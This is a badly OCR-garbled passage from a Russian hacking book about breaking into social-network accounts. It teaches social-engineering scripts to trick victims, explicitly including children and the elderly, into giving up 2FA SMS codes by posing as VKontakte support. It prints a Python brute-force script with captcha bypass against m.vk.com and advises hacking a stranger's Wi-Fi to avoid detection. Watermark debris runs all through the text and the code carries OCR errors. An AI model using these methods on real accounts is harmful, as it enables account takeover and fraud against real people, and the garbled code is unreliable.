Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Колисниченко Д. Н. Хакинг на linux.pdf
Скачиваний:
17
Добавлен:
19.04.2024
Размер:
29.19 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

5

5

Внимание! Двухфакторная авторизация! Фишкой последних лет стала двухфакторная авторизация. Когда социальная сеть видит, что пользователь пытается войти с другого устройства, она отправляет код на его номер телефона в SMS. Здесь важно запастись номером жертвы. Если такое произойдет, ты должен моментально отправить сообщение жертве "Для предотвраще­ ния нежелательного доступа к аккаунту отправьте код, получен­ ный из предыдущего SMS" или что-то в подобном духе. Жертва в запарке может взять, да и отправить код, который социальная сеть прислала ей для входа в аккаунт! Конечно, жертва может догадаться и ничего не отправить - такое тоже может произойти и тебе придется искать другие методы взлома. Также нужно от­ метить, что далеко не все пользователи включают двухфактор­ ную авторизацию - многие даже не понимают, что это такое!

10.3.Методы взлома

10.3.1.Взлом электронной почты

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

10.3.2. Социальный ннжнниринr

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Методы социального инжиниринга также могут пригодиться. Правда, в последнее время они не такие эффективные, как раньше, поскольку люди стали более образованными в IТ-плане и менее доверчивыми. Однако такой метод может сработать. Особенно он хорошо работает с новичками - или с детьми или со стариками. Создай какой-то фейковый аккаунт, а еще луч­ ше позвони (анонимно, через SIP) и представься представителем службы поддержки. Далее нужно выведать у жертвы всю необходимую тебе инфор­ мацию. Можно действовать наверняка и сказать, что осуществляется взлом

вашей странички. Звоните, представляетесь специалистом техподдержки ВКонтакте Романом (ну или любым другим именем, которое вам больше нравится), уточняете ФИО (оно есть в анкете, как, часто и номер телефона) и сообщаете, что вашу страничку пытаются взломать. Сами тем временем пы­ таетесь войти на страничку пользователя, точнее восстановить его пароль.

·Сообщаете жертве, что сейчас на его номер телефона придет SMS и нужно продиктовать код, чтобы техподдержка могла убедиться в том, что пользова­ тель - это именно он, и чтобы отсечь все попытки хакеров взломать аккаунт. Жертва сообщает код, дальше дело техники. Главное, чтобы ты позвонил раньше, чем придет код. Поэтому сначала звоним, устанаВJШваем контакт, а затем - инициируем восстановления пароля. С некоторыми пользователями это легко сработает и на все про все ты потратишь 5-1 О минут. Эrо может су­ щественно ускорить взлом по сравнению с другими методами, где придется неделями заниматься "окучиванием" аккаунта жертвы.

10.3.3. Перебор пароля

Как уже было отмечено ранее, различные утилиты для грубой силы (bruteforce) нет смысла использовать с социальными сетями, учитывая бло­ кировку аккаунта после определенного количества неправильных попыток ввода пароля. Лучше всего использовать точечные словари, составленные на основе личных данных.

Пароли можно вводить вручную - их не так много - или же автоматизи­ ровать этот процесс. Всевозможные скрипты для сего ты можешь найти в

Интернете. Приводим пример (лист. 10.1) скрипта, написанного на Python.

 

Скриrn авrоматизирует перебор паролей через мобильную версию ВКонтакте.

1111-- - --- -- --- -- - ------- - --- - - - - - - - - - --- ---------- -- - ------ --- - - - - - - - - - - - - ------ ---

- .

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

Листингm

10.1. Перебор пароля через мобильную версию

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

-xcha

 

 

o

 

 

.

 

 

 

ВКонтакте

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

#! coding: utf8

import grab, re, urllib2

from antigate import AntiGate from grab import GrabTimeoutError from time import sleep

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

cap_key = '123 '

#Ваш ключ с Antigate

def anti(key, file):

#Получение решения Captcha с Antigate

try:

 

try:

data = AntiGate(key, file) return data

except Keyboardinterrupt:

рrint("Завершение")

except:

anti(key, file)

def save(url, file): #Скачивание файла по URL site = urllib2.urlopen(url)

f = open(file, 'wb') f.write(site.read())

def cap_solve(img):

save(img, 'captcha.jpg')

key = anti(cap_key, 'captcha.jpg') return key

def brute(login, passwords, save): out = open(save, 'w')

psswrds = open(passwords, 'r')

try:

 

int(login)

prefix

True

except:

 

prefix

False

g = grab.Grab()

g.go('http: //m.vk.com')

for line in psswrds:

 

psswrd =

line.rstrip('\r\n')

 

g.doc.set_input('email',

login)

g.doc.set_input('pass',

psswrd)

g.doc. submit()

 

 

 

. ..... .

- - . ·-. - ..................

-- - . -- - - ............

-... - - . -- - ... - .. --...............

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

if g.doc.tedt_search(u'captcha'):

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

df-xchan

 

 

o

 

all_captchas

re.findall('"(/captcha.php[

 

"]*)"',

 

w

 

df-x chan

 

 

o

 

 

.

 

.c

 

л

 

.

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

 

 

 

 

g.response.body) [О]

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

captcha = '' + all_captchas

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

key = cap_solve(captcha)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

g.doc.set_input('email',

login)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

g.doc.set input('pass',

psswrd)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

g.doc.set_input('captcha key', str(key))

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

g.doc.submit()

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

print("cap")

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if 'Подтвердить' in g.response.body:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if prefix:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

prefixl

g.doc.rex_search('\+(0-9]*').group(0)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

prefix2

g.doc.rex_search(' [0-9]*').group(0)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

prel

re.findall(' [0-9] (1,} ',

prefixl) [О]

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

pre2 =

re.findall(' [0-9] (1,} ',

prefix2) [О]

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

login

login.replace(prel,

'')

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

login

login.replace(pre2,

'')

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

g.set_input('code', login)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

g.submit()

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

print(login + ':' + psswrd + '--success')

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

out.write(login + '·' + psswrd + '\n')

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

else:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

out.write(login + ' . ' + psswrd + '\n')

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

else:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if g.doc.rex_search(' [л>]+').group(0) = 'Login I

VК':

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

print(login + '·' + psswrd + '--fail')

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

else:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

print(login + '·' + psswrd +

 

•--success')

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

out.write(login + '·' + psswrd + '\n')

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

out.close()

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

psswrds.close()

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Да, этот скрипт далек от идеала, но при желании ты его можешь доработать. В нем хорошо то, что он будет сам вводить капчу с помощью Antigate, а капча будет появляться, поскольку ты входишь в систему из другой страны.

 

Примечание . Надеюсь , ты догадался использовать все меры

 

предосторожности ? Как минимум, не взламывай аккаунты со

-

своего домашнего Интернета, купи SIМ-карту и смени свою ло­

.................................................................................кацию . Используй VPN или Тог. Если карточку купить не получа­.

 

 

ется , взломай чей - то Wi - Fi - это неплохой шанс остаться неза­

 

 

меченным . Но не забывай о предосторожности. Если не хочешь